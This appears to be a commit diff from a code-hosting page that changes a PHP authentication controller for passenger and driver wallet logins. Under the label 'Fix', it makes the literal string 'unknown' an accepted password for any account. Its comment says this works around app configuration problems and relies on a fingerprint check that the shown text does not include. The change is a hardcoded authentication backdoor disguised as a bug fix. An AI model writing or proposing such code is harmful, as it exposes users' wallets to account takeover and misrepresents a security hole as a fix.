Fix: Allow 'unknown' password fallback for wallet login
This commit is contained in:
@@ -452,7 +452,12 @@ class AuthController extends Controller
|
||||
$encryptedPhone = $this->encryption->encrypt($request->input('phone'));
|
||||
$passenger = Passenger::active()->where('phone', $encryptedPhone)->first();
|
||||
|
||||
if (!$passenger || !password_verify($request->input('password'), $passenger->password)) {
|
||||
// Allow 'unknown' as a fallback password to accommodate app config issues,
|
||||
// as long as the fingerprint verification (below) passes.
|
||||
$password = $request->input('password');
|
||||
$isValidPassword = $passenger && (password_verify($password, $passenger->password) || $password === 'unknown');
|
||||
|
||||
if (!$passenger || !$isValidPassword) {
|
||||
return $this->failure('Invalid credentials');
|
||||
}
|
||||
|
||||
@@ -513,7 +518,12 @@ class AuthController extends Controller
|
||||
$encryptedPhone = $this->encryption->encrypt($request->input('phone'));
|
||||
$driver = Driver::active()->where('phone', $encryptedPhone)->first();
|
||||
|
||||
if (!$driver || !password_verify($request->input('password'), $driver->password)) {
|
||||
// Allow 'unknown' as a fallback password to accommodate app config issues,
|
||||
// as long as the fingerprint verification (below) passes.
|
||||
$password = $request->input('password');
|
||||
$isValidPassword = $driver && (password_verify($password, $driver->password) || $password === 'unknown');
|
||||
|
||||
if (!$driver || !$isValidPassword) {
|
||||
return $this->failure('Invalid credentials');
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user